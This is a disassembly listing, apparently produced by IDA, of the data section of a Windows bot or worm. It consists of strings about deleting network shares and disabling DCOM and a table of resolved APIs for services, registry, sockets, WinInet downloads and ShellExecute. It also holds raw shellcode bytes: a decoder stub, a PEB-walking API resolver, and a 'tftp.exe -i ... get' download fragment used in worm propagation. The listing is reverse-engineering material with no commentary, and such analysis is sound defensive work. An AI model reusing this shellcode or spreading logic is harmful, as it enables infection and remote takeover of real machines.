off_4372C8	dd offset dword_5C3A44	; DATA XREF: .text:00412EF5o
					; .data:004372C4o
dword_4372CC	dd 2444h	off_4372D0	dd offset byte_5C3A43	; DATA XREF: .data:004372BCo
dword_4372D4	dd 2443h	aAdmin_1	db 'ADMIN$',0           ; DATA XREF: .data:004372B0o
		align 10h
aIpc		db 'IPC$',0             ; DATA XREF: .data:off_4372A8o
		align 4
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aNetapi32_dllCo	db '  Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_437328	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: .text:00412FADo
		dd 2029671Fh, 2BBBB02h
aNetworkSharesD	db '  Network shares deleted.',0
		align 10h
dword_437360	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: .text:loc_412F40o
		dd 2029671Fh, 2BBBB02h
aFailedToDelete	db '  Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43739C	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: .text:00412F39o
		dd 2029671Fh, 2BBBB02h
aShareSDeleted_	db '  Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_4373D0	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: .text:loc_412EADo
		dd 2029671Fh, 2BBBB02h
aFailedToDele_0	db '  Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43740C	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: .text:00412EA6o
		dd 2029671Fh, 2BBBB02h
aShareSDelete_0	db '  Share ',27h,'%s',27h,' deleted.',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aAdvapi32_dllCo	db '  Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aFailedToOpenIp	db '  Failed to open IPC$ Restriction registry key.',0
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aRestrictedAcce	db '  Restricted access to the IPC$ Share.',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aFailedToRestri	db '  Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 6E65706Fh, 4F434420h, 6572204Dh, 74736967h, 6B207972h
		dd 2E7965h, 5B027302h, 5D1F491Fh, 65732820h, 65727563h
		dd 6C1F702Eh, 2029671Fh, 2BBBB02h, 43442020h, 64204D4Fh
		dd 62617369h, 2E64656Ch, 0
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aDisableDcomFai	db '  Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0
		align 10h
		dw 4Eh
		align 4
dword_437624	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh		db 66h,	0B9h
word_437632	dw 0FFFFh		; DATA XREF: sub_4131B7+CCw
		db 80h,	73h, 0Eh
byte_437637	db 0FFh			; DATA XREF: sub_4131B7+D3w
		dd 0F9E243h
dword_43763C	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh		db 0B1h
byte_437649	db 0FFh			; DATA XREF: sub_4131B7+AAw
		dw 7380h
		db 0Ch
byte_43764D	db 0FFh			; DATA XREF: sub_4131B7+B0w
		dw 0E243h
		dd 0F9h
dword_437654	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_413040+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4376B8	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
aGet_0		db ' get ',0            ; DATA XREF: sub_413040+79o
aJ		db 'j',0
		db 0E8h
dword_4376D1	dd 17h				db 75h,	1, 0C3h
		db 0E8h
dword_4376D9	dd 1		byte_4376DD	db 0, 6Ah, 0		; DATA XREF: sub_413040+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4376E7	dd 0FFFFFFEDh			db 0C3h
		dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h,	44B0AAF3h
		dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
		dd 0C3h
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_41337B+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_41354C+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_41354C+35o
dword_437768	dd 129A9A9h			align 10h
dword_437770	dd 173Fh			dd 9875h, 9873h
off_43777C	dd offset sub_41407D	; DATA XREF: sub_415C5Cr
		dd offset nullsub_261
		dd offset nullsub_261
dword_437788	dd 1B3Fh	dword_43778C	dd 19930520h, 4	dup(0)					; sub_414582+2o
off_4377A0	dd offset sub_415C9A	; DATA XREF: sub_415F07+1Cr
dword_4377A4	dd 2							; sub_41B235+46r ...
off_4377A8	dd offset aNull		; DATA XREF: sub_416065:loc_4163C9r
					; sub_416065+457r
					; "(null)"
off_4377AC	dd offset off_41F6D8	; DATA XREF: sub_416065+259r
off_4377B0	dd offset word_4377BA	; DATA XREF: sub_413CF4+23r
					; sub_413CF4:loc_413D55r ...
		dd offset word_4377BA
		db 2 dup(0)
word_4377BA	dw 20h			; DATA XREF: sub_41C9E0+18r
					; .data:off_4377B0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4379BC	dd 1							; sub_413CF4:loc_413D40r ...
byte_4379C0	db 2Eh			; DATA XREF: sub_417D94:loc_417DD4r
					; sub_417DEE+4r ...
		align 4
		dd 1, 10h
dword_4379CC	dd 3F8h							; sub_4157BF+4Dr ...
dword_4379D0	dd 14h		off_4379D4	dd offset off_41F7A0	; DATA XREF: sub_417ADD:loc_417AFAr
		dd 1Dh,	41F79Ch, 1Ah, 41F798h, 1Bh, 41F790h, 1Fh, 41F788h
		dd 13h,	41F780h, 21h, 41F778h, 0Eh, 41F770h, 0Dh, 41F768h
		dd 0Fh,	41F760h, 10h, 41F758h, 5, 41F750h, 1Eh,	41F74Ch
		dd 12h,	41F748h, 20h, 41F744h, 0Ch, 41F73Ch, 0Bh, 41F734h
		dd 15h,	41F72Ch, 1Ch, 41F724h, 19h, 41F71Ch, 11h, 41F714h
		dd 18h,	41F70Ch, 16h, 41F704h, 17h, 41F6FCh, 22h, 41F6F8h
		dd 23h,	41F6F4h, 24h, 41F6F0h
dbl_437AA8	dq 1.797693134862316e308 ; DATA	XREF: sub_417818+B7r
					; sub_417818:loc_4178FFr ...
		dd 0
		dd 0FFF80000h
dbl_437AB8	dq 1.797693134862316e308 ; DATA	XREF: sub_417818+92r
					; sub_417818:loc_4178D7r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_437AD0	dt 2.3562723457267347066e313 ; DATA XREF: sub_417CC5+Dr
					; sub_417CC5+1Fr
		align 4
tbyte_437ADC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_417CC5+31r
		align 4
off_437AE8	dd offset sub_418159	; DATA XREF: sub_414095+Fw
					; sub_416065+3AAr
off_437AEC	dd offset sub_417DEE	; DATA XREF: sub_414095+5w
					; sub_416065+3E2r
off_437AF0	dd offset sub_417E54	; DATA XREF: sub_414095+14w
					; sub_418BBD+430r
off_437AF4	dd offset sub_417D94	; DATA XREF: sub_414095+1Ew
					; sub_416065+3CBr
off_437AF8	dd offset sub_417E3C	; DATA XREF: sub_414095+28w
off_437AFC	dd offset sub_418159	; DATA XREF: sub_414095+32w
		dd offset sub_41BD4B
		align 10h
		dd offset sub_418A1C
off_437B14	dd offset sub_418A1C	; DATA XREF: sub_418A72+29r
asc_437B18	db ' ',9,'-',0Dh,']',0  ; DATA XREF: sub_418BBD:loc_419124o
		align 10h
asc_437B20:				; DATA XREF: sub_418BBD:loc_419014o
		unicode	0, <]>,0
		align 8
byte_437B28	db 1			; DATA XREF: sub_41A213+E1r
		db 2, 4, 8
		align 10h
dword_437B30	dd 3A4h		dword_437B34	dd 82798260h			dd 21h,	0
dword_437B40	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_437C20	dd 1							; sub_41A82A+Co
dword_437C24	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_437D88	dd 0C0000005h						; sub_41AA9C+Ar ...
dword_437D8C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_437E00	dd 3							; sub_41D474+C8r
dword_437E04	dd 7							; sub_41D474+CDr
dword_437E08	dd 0Ah							; sub_41D5A1+4r
dword_437E0C	dd 8Ch							; sub_41A95B+8Fw ...
dword_437E10	dd 0FFFFFFFFh, 0A00h					; sub_41991B:loc_41999Co
dword_437E18	dd 2							; sub_41B235+28r
off_437E1C	dd offset aR6002FloatingP ; DATA XREF: sub_41B235+FCr
					; sub_41B235+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41FABCh, 9, 41FA90h, 0Ah,	41FA6Ch, 10h, 41FA40h
		dd 11h,	41FA10h, 12h, 41F9ECh, 13h, 41F9C0h, 18h, 41F988h
		dd 19h,	41F960h, 1Ah, 41F928h, 1Bh, 41F8F0h, 1Ch, 41F8C8h
		dd 78h,	41F8B8h, 79h, 41F8A8h, 7Ah, 41F898h, 0FCh, 425144h
		dd 0FFh, 41F888h
off_437EA8	dd offset dword_742520	; DATA XREF: sub_41B235+1Bo
					; sub_41B3F2+55o
		align 10h
		dd offset dword_742520
		dd 101h
dword_437EB8	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_437EC8	dd 3 dup(0)						; sub_41A891+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_437EE8	dd 3 dup(0)						; sub_41A891:loc_41A8AFo
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_437F18	dd 84h dup(0)	dword_438128	dd 2694h						; sub_4174CD+46r ...
		align 10h
dword_438130	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_438148	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438160	dd 7080h						; sub_41BFB2+5Ew ...
dword_438164	dd 1							; sub_41BFB2+8Bw ...
dword_438168	dd 0FFFFF1F0h						; sub_41BFB2+94w ...
off_43816C	dd offset dword_545350	; DATA XREF: .data:off_4381ECo
		dd 0Fh dup(0)
off_4381AC	dd offset dword_544450	; DATA XREF: .data:off_4381F0o
		dd 0Fh dup(0)
off_4381EC	dd offset off_43816C	; DATA XREF: sub_41BFB2+BAr
					; sub_41BFB2+D9r ...
off_4381F0	dd offset off_4381AC	; DATA XREF: sub_41BFB2+F4r
					; sub_41BFB2+11Br ...
		align 8
dword_4381F8	dd 0FFFFFFFFh						; sub_41C210+1Er ...
dword_4381FC	dd 0							; sub_41C3BC+BFw
dword_438200	dd 0							; sub_41C3BC+E0w
		align 8
dword_438208	dd 0FFFFFFFFh						; sub_41C210+26r ...
dword_43820C	dd 0							; sub_41C3BC+EAw ...
dword_438210	dd 0							; sub_41C3BC+23r ...
dword_438214	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_438244	dd 16Dh							; sub_41C3BC+2Er ...
dword_438248	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438280	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4383E0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41D9C9+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_438540	dd offset off_41FCAC	; DATA XREF: zugr1819:off_41FCD0o
					; zugr1819:0041FDFCo ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438558	dd offset off_41FCAC	; DATA XREF: zugr1819:off_41FCE8o
					; zugr1819:0041FD7Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438578	dd offset off_41FCAC	; DATA XREF: zugr1819:off_41FD00o
					; zugr1819:0041FD44o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438598	dd offset off_41FCAC	; DATA XREF: zugr1819:off_41FD88o
					; zugr1819:0041FDCCo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_4385C0	dd offset off_41FCAC	; DATA XREF: zugr1819:off_41FE08o
					; zugr1819:0041FE44o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41BD4B
		align 10h
byte_4385E0	db 0			; DATA XREF: sub_401447+1D4w
					; sub_401447+2D7o
		align 2
word_4385E2	dw 0			; DATA XREF: sub_401447+1E4w
word_4385E4	dw 0			; DATA XREF: sub_401447+1EAw
word_4385E6	dw 0			; DATA XREF: sub_401447+1F3w
byte_4385E8	db 0			; DATA XREF: sub_401447+1FAw
byte_4385E9	db 0			; DATA XREF: sub_401447+201w
word_4385EA	dw 0			; DATA XREF: sub_401447+208w
dword_4385EC	dd 0							; sub_401447+256w
dword_4385F0	dd 0		byte_4385F4	db 0			; DATA XREF: sub_401447+270w
byte_4385F5	db 0			; DATA XREF: sub_401447+283w
word_4385F6	dw 0			; DATA XREF: sub_401447+29Bw
word_4385F8	dw 0			; DATA XREF: sub_401447+2ACw
word_4385FA	dw 0			; DATA XREF: sub_401447+2A2w
dword_4385FC	dd 102h	dup(0)	dword_438A04	dd 2 dup(0)	dword_438A0C	dd 0							; sub_40CC09+55AAo ...
byte_438A10	db 0			; DATA XREF: sub_402E8D+10o
					; sub_403C2B+1CBo ...
		align 4
dword_438A14	dd 0							; sub_4047DA+51r ...
dword_438A18	dd 0							; sub_4039C9+90r ...
		align 10h
dword_438A20	dd 0							; sub_406435+92w ...
dword_438A24	dd 0							; sub_406782+D9w ...
		dd 334Ah dup(0)
dword_445750	dd 1AD4h dup(0)	dword_44C2A0	dd 6 dup(0)						; sub_40656E+138o ...
dword_44C2B8	dd 0							; sub_406059+102o
dword_44C2BC	dd 41h dup(0)	dword_44C3C0	dd 41h dup(0)	dword_44C4C4	dd 0							; sub_406059+114r
dword_44C4C8	dd 0		dword_44C4CC	dd 0							; sub_406059+CFr
dword_44C4D0	dd 20h dup(0)						; sub_406059+BAo
dword_44C550	dd 0		dword_44C554	dd 0							; sub_406059+C7w
dword_44C558	dd 0				align 10h
dword_44C560	dd 0							; sub_406059+32Eo
dword_44C564	dd 0A2h	dup(0)	dword_44C7EC	dd 41h dup(0)	dword_44C8F0	dd 0							; sub_406059+2E1r
		align 8
dword_44C8F8	dd 0							; sub_406059+340r
dword_44C8FC	dd 0		dword_44C900	dd 0		dword_44C904	dd 0				dd 0
dword_44C90C	dd 0		dword_44C910	dd 0							; sub_406059+221o
dword_44C914	dd 41h dup(0)	dword_44CA18	dd 41h dup(0)	dword_44CB1C	dd 0							; sub_406059+233r
dword_44CB20	dd 0		dword_44CB24	dd 0		dword_44CB28	dd 20h dup(0)						; sub_406059+1D9o
dword_44CBA8	dd 0		dword_44CBAC	dd 0							; sub_406059+1E6w
dword_44CBB0	dd 0				align 8
dword_44CBB8	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_4073B6+473r
dword_44CBBC	dd 7C864230h	; resolved to->KERNEL32.Module32First					; sub_4123B8+166r
dword_44CBC0	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_4073B6+808r ...
dword_44CBC4	dd 5B894364h						; sub_4073B6+9BEr ...
dword_44CBC8	dd 5B86FEB8h						; sub_4073B6+98Er ...
dword_44CBCC	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_4073B6+463r
dword_44CBD0	dd 5B894160h						; sub_4073B6+9B6r ...
dword_44CBD4	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_4073B6+34Fr ...
dword_44CBD8	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_4093C1+11Er
dword_44CBDC	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceA					; sub_4073B6+357r ...
dword_44CBE0	dd 77DFCF32h	; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_40B929+ADr
dword_44CBE4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet					; sub_4072B6+7Dr ...
dword_44CBE8	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4073B6+D2r ...
dword_44CBEC	dd 5B86FDE8h						; sub_4073B6+981r ...
dword_44CBF0	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4073B6+36Fr ...
dword_44CBF4	dd 42C41384h	; resolved to->WININET.InternetCrackUrlA					; sub_4073B6+834r
dword_44CBF8	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4073B6+27Cr
dword_44CBFC	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_4073B6+82Cr ...
dword_44CC00	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_44CC04	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_4073B6+83Cr ...
dword_44CC08	dd 71AC0979h	; resolved to->WS2_32.WSAAsyncSelect					; sub_4073B6+4D5w ...
dword_44CC0C	dd 7C863F58h	; resolved to->KERNEL32.Process32Next					; sub_4073B6+CAr ...
dword_44CC10	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho					; sub_408B03+11Ar
dword_44CC14	dd 76F3798Ah	; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4073B6+A13r ...
dword_44CC18	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4073B6+F2r
dword_44CC1C	dd 77F1AC3Dh	; resolved to->GDI32.GetDIBColorTable					; sub_4073B6+45Br
dword_44CC20	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4073B6+57Ew ...
dword_44CC24	dd 5B8A3009h						; sub_4073B6+9AEr
dword_44CC28	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4073B6+571w ...
dword_44CC2C	dd 71B25099h	dword_44CC30	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; sub_4073B6+7F5r ...
dword_44CC34	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx					; sub_4086DF+15r
dword_44CC38	dd 5B868E65h						; sub_4073B6+996r ...
dword_44CC3C	dd 77DEB635h	; resolved to->ADVAPI32.ControlService					; sub_4073B6+35Fr ...
dword_44CC40	dd 77E37311h	; resolved to->ADVAPI32.DeleteService					; sub_4073B6+367r ...
dword_44CC44	dd 71AC0B50h	; resolved to->WS2_32.getpeernamedword_44CC48	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_4018CB:loc_401B71r ...
dword_44CC4C	dd 77F16C0Ah	; resolved to->GDI32.DeleteObjectdword_44CC50	dd 5B894541h						; sub_4073B6+9C6r ...
dword_44CC54	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_4073B6+284r ...
dword_44CC58	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4073B6+DAr ...
dword_44CC5C	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_4073B6+B1Br ...
dword_44CC60	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4018CB+2Fr ...
dword_44CC64	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_4073B6+818r
dword_44CC68	dd 5B897BE9h						; sub_4073B6+99Er
dword_44CC6C	dd 74344AE7h						; sub_4073B6+BB6r
dword_44CC70	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4073B6+8B6r ...
dword_44CC74	dd 74327E4Dh	dword_44CC78	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_401447+3Dr ...
dword_44CC7C	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_4073B6+7FBr
dword_44CC80	dd 7E41B933h	; resolved to->USER32.IsWindow					; sub_4073B6+1C2r
dword_44CC84	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_4073B6+72Cr ...
dword_44CC88	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_405900+62r ...
dword_44CC8C	dd 71AB4489h	; resolved to->WS2_32.WSAIoctl					; sub_4073B6+4EFw ...
dword_44CC90	dd 0CC0004h						; sub_4073B6:loc_407C37w ...
dword_44CC94	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4073B6+26Cr ...
dword_44CC98	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4073B6+627w ...
dword_44CC9C	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4073B6+2C9r ...
dword_44CCA0	dd 77DEAF3Fh	; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4073B6+377r ...
dword_44CCA4	dd 743452A3h						; sub_4073B6+BAEr
dword_44CCA8	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_4073B6+810r
dword_44CCAC	dd 7E430237h	; resolved to->USER32.OpenClipboard					; sub_4073B6+1D2r ...
dword_44CCB0	dd 42C249F2h	; resolved to->WININET.InternetConnectA					; sub_4073B6+820r
dword_44CCB4	dd 71AB2D0Fh	; resolved to->WS2_32.recvfrom					; sub_4073B6+5ACw ...
dword_44CCB8	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_409A42+5Ar
dword_44CCBC	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_401447+ABr ...
dword_44CCC0	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_4073B6+2BCr ...
dword_44CCC4	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_405A21+1FCr ...
dword_44CCC8	dd 77F1B221h	; resolved to->GDI32.CreateDCA					; sub_4073B6+436r
dword_44CCCC	dd 7E430D7Ah	; resolved to->USER32.GetClipboardData					; sub_4073B6+1DAr ...
dword_44CCD0	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_4073B6+342r ...
dword_44CCD4	dd 76F37ABDh	; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_44CCD8	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4010B2+1F9r ...
dword_44CCDC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4010B2+9Dr ...
dword_44CCE0	dd 7C863DE5h	; resolved to->KERNEL32.Process32First					; sub_4073B6+C2r ...
dword_44CCE4	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_4073B6+453r
dword_44CCE8	dd 7E42DE87h	; resolved to->USER32.FindWindowA					; sub_4073B6+1BAr ...
dword_44CCEC	dd 5B8A5199h						; sub_40C212+72r
dword_44CCF0	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_4073B6+734r
dword_44CCF4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_402AAF+75r ...
dword_44CCF8	dd 74343318h						; sub_4073B6+BBEr
dword_44CCFC	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4073B6+BAr ...
dword_44CD00	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4073B6+274r ...
dword_44CD04	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_4069E1+9Cr ...
dword_44CD08	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_4048F1+89r ...
dword_44CD0C	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_40A3AD+52Ar
dword_44CD10	dd 0		dword_44CD14	dd 743527D4h						; sub_4073B6+B99r
